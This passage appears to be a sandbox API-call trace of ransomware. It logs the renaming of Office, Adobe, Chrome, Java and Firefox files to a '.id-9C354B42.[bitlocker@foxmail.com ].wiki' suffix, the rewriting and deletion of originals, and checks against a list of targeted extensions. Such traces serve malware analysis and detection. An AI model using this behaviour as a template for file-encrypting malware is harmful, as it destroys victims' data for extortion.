Office\\Office14\\ONMAIN.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\office14\\onmain.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0161.056] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\ORGCHART.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\orgchart.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\ORGCHART.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\office14\\orgchart.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0161.058] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OUTLOOK.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\outlook.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OUTLOOK.EXE.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\office14\\outlook.exe.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0161.062] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\POWERPNT.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\powerpnt.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\POWERPNT.EXE.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\office14\\powerpnt.exe.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0161.063] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PPCORE.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\ppcore.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PPCORE.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\office14\\ppcore.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0161.064] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PPTICO.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\pptico.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PPTICO.EXE.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\office14\\pptico.exe.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0161.067] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\1033\\MSGR3EN.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\proof\\1033\\msgr3en.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\1033\\MSGR3EN.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\office14\\proof\\1033\\msgr3en.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0161.068] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\1036\\MSGR3FR.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\proof\\1036\\msgr3fr.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\1036\\MSGR3FR.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\office14\\proof\\1036\\msgr3fr.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0161.069] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\3082\\MSGR3ES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\proof\\3082\\msgr3es.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\3082\\MSGR3ES.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\office14\\proof\\3082\\msgr3es.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0161.069] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\MSGR3EN.LEX" (normalized: "c:\\program files\\microsoft office\\office14\\proof\\msgr3en.lex"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\MSGR3EN.LEX.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\office14\\proof\\msgr3en.lex.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0161.069] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\MSGR3ES.LEX" (normalized: "c:\\program files\\microsoft office\\office14\\proof\\msgr3es.lex"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\MSGR3ES.LEX.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\office14\\proof\\msgr3es.lex.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0161.072] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\MSSP7EN.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\proof\\mssp7en.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\MSSP7EN.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\office14\\proof\\mssp7en.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0161.073] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\MSSP7ES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\proof\\mssp7es.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\MSSP7ES.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\office14\\proof\\mssp7es.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0161.074] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\MSSP7ES.LEX" (normalized: "c:\\program files\\microsoft office\\office14\\proof\\mssp7es.lex"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\MSSP7ES.LEX.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\office14\\proof\\mssp7es.lex.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0161.075] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\MSSP7FR.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\proof\\mssp7fr.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\MSSP7FR.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\office14\\proof\\mssp7fr.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0161.076] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\MSSP7FR.LEX" (normalized: "c:\\program files\\microsoft office\\office14\\proof\\mssp7fr.lex"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\MSSP7FR.LEX.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\office14\\proof\\mssp7fr.lex.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0161.076] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\MSTH7EN.LEX" (normalized: "c:\\program files\\microsoft office\\office14\\proof\\msth7en.lex"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\MSTH7EN.LEX.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\office14\\proof\\msth7en.lex.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0161.079] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\MSTH7ES.LEX" (normalized: "c:\\program files\\microsoft office\\office14\\proof\\msth7es.lex"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\MSTH7ES.LEX.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\office14\\proof\\msth7es.lex.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0161.079] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\MSTH7FR.LEX" (normalized: "c:\\program files\\microsoft office\\office14\\proof\\msth7fr.lex"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\MSTH7FR.LEX.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\office14\\proof\\msth7fr.lex.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0161.651] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\SG.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\sg.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\SG.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\office14\\sg.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0162.129] MoveFileW (lpExistingFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\System.Data.Entity.dll" (normalized: "c:\\program files\\reference assemblies\\microsoft\\framework\\v3.5\\system.data.entity.dll"), lpNewFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\System.Data.Entity.dll.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\reference assemblies\\microsoft\\framework\\v3.5\\system.data.entity.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0162.151] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Journal\\Journal.exe" (normalized: "c:\\program files\\windows journal\\journal.exe"), lpNewFileName="C:\\Program Files\\Windows Journal\\Journal.exe.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\windows journal\\journal.exe.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0162.152] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Journal\\NBDoc.DLL" (normalized: "c:\\program files\\windows journal\\nbdoc.dll"), lpNewFileName="C:\\Program Files\\Windows Journal\\NBDoc.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\windows journal\\nbdoc.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0162.159] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Mail\\msoe.dll" (normalized: "c:\\program files\\windows mail\\msoe.dll"), lpNewFileName="C:\\Program Files\\Windows Mail\\msoe.dll.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\windows mail\\msoe.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0162.160] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Mail\\MSOERES.dll" (normalized: "c:\\program files\\windows mail\\msoeres.dll"), lpNewFileName="C:\\Program Files\\Windows Mail\\MSOERES.dll.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\windows mail\\msoeres.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0162.166] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Media Player\\setup_wm.exe" (normalized: "c:\\program files\\windows media player\\setup_wm.exe"), lpNewFileName="C:\\Program Files\\Windows Media Player\\setup_wm.exe.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\windows media player\\setup_wm.exe.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0162.169] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows NT\\Accessories\\wordpad.exe" (normalized: "c:\\program files\\windows nt\\accessories\\wordpad.exe"), lpNewFileName="C:\\Program Files\\Windows NT\\Accessories\\wordpad.exe.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\windows nt\\accessories\\wordpad.exe.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0164.476] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\pe.dll" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\pe.dll"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\pe.dll.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\pe.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0164.488] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\AcroForm.api" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\acroform.api"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\AcroForm.api.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\acroform.api.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0164.489] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annots.api" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annots.api"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annots.api.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annots.api.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0164.490] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\EScript.api" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\escript.api"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\EScript.api.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\escript.api.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0164.490] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\MakeAccessible.api" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\makeaccessible.api"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\MakeAccessible.api.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\makeaccessible.api.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0165.141] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\ara131.lex" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\ara131.lex"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\ara131.lex.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\ara131.lex.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0165.466] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\mraut.dll" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\ink\\mraut.dll"), lpNewFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\mraut.dll.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\ink\\mraut.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0165.474] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\1033\\MSOINTL.DLL" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\office14\\1033\\msointl.dll"), lpNewFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\1033\\MSOINTL.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\office14\\1033\\msointl.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0166.270] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\Csi.dll" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\office14\\csi.dll"), lpNewFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\Csi.dll.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\office14\\csi.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0166.688] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\nacl_irt_x86_64.nexe" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\nacl_irt_x86_64.nexe"), lpNewFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\nacl_irt_x86_64.nexe.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\nacl_irt_x86_64.nexe.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0166.689] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\resources.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\resources.pak"), lpNewFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\resources.pak.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\resources.pak.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0166.691] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\WidevineCdm\\_platform_specific\\win_x64\\widevinecdm.dll" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\widevinecdm\\_platform_specific\\win_x64\\widevinecdm.dll"), lpNewFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\WidevineCdm\\_platform_specific\\win_x64\\widevinecdm.dll.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\widevinecdm\\_platform_specific\\win_x64\\widevinecdm.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0166.704] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\client\\classes.jsa" (normalized: "c:\\program files (x86)\\java\\jre7\\bin\\client\\classes.jsa"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\client\\classes.jsa.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files (x86)\\java\\jre7\\bin\\client\\classes.jsa.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0166.704] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\client\\classes.jsa", dwFileAttributes=0x20) returned 0 [0166.704] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\client\\jvm.dll" (normalized: "c:\\program files (x86)\\java\\jre7\\bin\\client\\jvm.dll"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\client\\jvm.dll.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files (x86)\\java\\jre7\\bin\\client\\jvm.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0167.206] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\plugin.jar" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\plugin.jar"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\plugin.jar.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\plugin.jar.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0167.207] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\resources.jar" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\resources.jar"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\resources.jar.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\resources.jar.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0167.209] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\rt.jar" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\rt.jar"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\rt.jar.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\rt.jar.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0168.988] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Mozilla Firefox\\nss3.dll" (normalized: "c:\\program files (x86)\\mozilla firefox\\nss3.dll"), lpNewFileName="C:\\Program Files (x86)\\Mozilla Firefox\\nss3.dll.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files (x86)\\mozilla firefox\\nss3.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0169.052] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Windows Mail\\msoe.dll" (normalized: "c:\\program files (x86)\\windows mail\\msoe.dll"), lpNewFileName="C:\\Program Files (x86)\\Windows Mail\\msoe.dll.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files (x86)\\windows mail\\msoe.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0169.053] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Windows Mail\\MSOERES.dll" (normalized: "c:\\program files (x86)\\windows mail\\msoeres.dll"), lpNewFileName="C:\\Program Files (x86)\\Windows Mail\\MSOERES.dll.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files (x86)\\windows mail\\msoeres.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0169.060] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Windows Media Player\\setup_wm.exe" (normalized: "c:\\program files (x86)\\windows media player\\setup_wm.exe"), lpNewFileName="C:\\Program Files (x86)\\Windows Media Player\\setup_wm.exe.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files (x86)\\windows media player\\setup_wm.exe.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0169.064] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Windows NT\\Accessories\\wordpad.exe" (normalized: "c:\\program files (x86)\\windows nt\\accessories\\wordpad.exe"), lpNewFileName="C:\\Program Files (x86)\\Windows NT\\Accessories\\wordpad.exe.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files (x86)\\windows nt\\accessories\\wordpad.exe.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0169.068] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Windows Photo Viewer\\ImagingEngine.dll" (normalized: "c:\\program files (x86)\\windows photo viewer\\imagingengine.dll"), lpNewFileName="C:\\Program Files (x86)\\Windows Photo Viewer\\ImagingEngine.dll.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files (x86)\\windows photo viewer\\imagingengine.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0169.077] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0169.077] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0169.077] CreateFileW (lpFileName="C:\\ProgramData\\Adobe\\ARM\\Reader_10.0.0\\AdbeRdrSecUpd10111.msp.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\programdata\\adobe\\arm\\reader_10.0.0\\adberdrsecupd10111.msp.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0171.832] GetLastError () returned 0x0 [0171.832] ReadFile (in: hFile=0x1ac, lpBuffer=0x3c00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c00020*, lpNumberOfBytesRead=0x301fed4*=0x3d800, lpOverlapped=0x0) returned 1 [0171.877] WriteFile (in: hFile=0x1a0, lpBuffer=0x3c00020*, nNumberOfBytesToWrite=0x3d810, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c00020*, lpNumberOfBytesWritten=0x301fc9c*=0x3d810, lpOverlapped=0x0) returned 1 [0171.882] ReadFile (in: hFile=0x1ac, lpBuffer=0x3c00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c00020*, lpNumberOfBytesRead=0x301fed4*=0x0, lpOverlapped=0x0) returned 1 [0171.882] WriteFile (in: hFile=0x1a0, lpBuffer=0x3c00020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c00020*, lpNumberOfBytesWritten=0x301fc9c*=0x100, lpOverlapped=0x0) returned 1 [0171.882] SetEndOfFile (hFile=0x1a0) returned 1 [0171.882] CloseHandle (hObject=0x1a0) returned 1 [0171.882] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0171.882] SetEndOfFile (hFile=0x1ac) returned 1 [0171.885] CloseHandle (hObject=0x1ac) returned 1 [0171.885] SetFileAttributesW (lpFileName="C:\\ProgramData\\Adobe\\ARM\\Reader_10.0.0\\AdbeRdrSecUpd10111.msp.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0171.885] DeleteFileW (lpFileName="C:\\ProgramData\\Adobe\\ARM\\Reader_10.0.0\\AdbeRdrSecUpd10111.msp" (normalized: "c:\\programdata\\adobe\\arm\\reader_10.0.0\\adberdrsecupd10111.msp")) returned 1 [0171.885] lstrlenW (lpString="C:\\ProgramData\\Adobe\\ARM\\Reader_10.0.0\\AdbeRdrSecUpd10111.msp") returned 61 [0171.885] lstrlenW (lpString="C:\\ProgramData\\Adobe\\ARM\\Reader_10.0.0\\AdbeRdrSecUpd10111.msp") returned 61 [0171.885] lstrlenW (lpString=".doc") returned 4 [0171.885] lstrcmpiW (lpString1=".doc", lpString2=".msp") returned -1 [0171.886] lstrlenW (lpString=".docx") returned 5 [0171.886] lstrcmpiW (lpString1=".docx", lpString2="1.msp") returned -1 [0171.886] lstrlenW (lpString=".pdf") returned 4 [0171.886] lstrcmpiW (lpString1=".pdf", lpString2=".msp") returned 1 [0171.886] lstrlenW (lpString=".xls") returned 4 [0171.886] lstrcmpiW (lpString1=".xls", lpString2=".msp") returned 1 [0171.886] lstrlenW (lpString=".xlsx") returned 5 [0171.886] lstrcmpiW (lpString1=".xlsx", lpString2="1.msp") returned -1 [0171.886] lstrlenW (lpString=".ppt") returned 4 [0171.886] lstrcmpiW (lpString1=".ppt", lpString2=".msp") returned 1 [0171.886] lstrlenW (lpString="C:\\ProgramData\\Adobe\\ARM\\Reader_10.0.0\\AdbeRdrSecUpd10111.msp") returned 61 [0171.886] lstrlenW (lpString=".zip") returned 4 [0171.886] lstrcmpiW (lpString1=".zip", lpString2=".msp") returned 1 [0171.886] lstrlenW (lpString=".rar") returned 4 [0171.886] lstrcmpiW (lpString1=".rar", lpString2=".msp") returned 1 [0171.886] lstrlenW (lpString=".bz2") returned 4 [0171.886] lstrcmpiW (lpString1=".bz2", lpString2=".msp") returned -1 [0171.886] lstrlenW (lpString=".7z") returned 3 [0171.886] lstrcmpiW (lpString1=".7z", lpString2="msp") returned -1 [0171.886] lstrlenW (lpString="C:\\ProgramData\\Adobe\\ARM\\Reader_10.0.0\\AdbeRdrSecUpd10111.msp") returned 61 [0171.886] lstrlenW (lpString=".dbf") returned 4 [0171.886] lstrcmpiW (lpString1=".dbf", lpString2=".msp") returned -1 [0171.886] lstrlenW (lpString="C:\\ProgramData\\Adobe\\ARM\\Reader_10.0.0\\AdbeRdrSecUpd10111.msp") returned 61 [0171.886] lstrlenW (lpString=".1cd") returned 4 